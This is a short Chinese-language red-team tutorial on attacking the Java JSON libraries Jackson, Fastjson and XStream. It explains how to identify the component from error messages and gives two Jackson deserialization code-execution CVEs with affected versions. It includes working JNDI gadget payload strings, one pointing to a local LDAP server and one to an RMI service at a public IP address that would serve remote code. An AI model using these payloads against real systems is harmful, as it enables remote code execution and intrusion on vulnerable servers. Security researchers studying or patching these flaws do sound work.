红队攻防渗透技术实战流程：组件安全：JacksonFastJsonXStream

1. 组件安全

黑盒检测：Java应用 请求参数数据以json/xml格式发送测试
黑盒判断：通过提交数据报错信息得到什么组件
xml格式(xstream) 或 json 格式（fastjson jackson）
白盒：直接看引用组件版本

1.1 J2EE-组件Jackson-本地demo&CVE

当下流行的json解释器，主要负责处理Json的序列化和反序列化。
历史漏洞：https://avd.aliyun.com/search?q=Jackson

1.1.1 代码执行 (CVE-2020-8840)

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
String json = “[“org.apache.xbean.propertyeditor.JndiConverter”, {“asText”:“ldap://localhost:1389/Exploit”}]”;

1.1.2 代码执行（CVE-2020-35728）

FasterXML jackson-databind 2.x < 2.9.10.8
String payload = “[“com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool”,{“jndiPath”:“rmi://47.94.236.117:1099/gtaafz”}]”;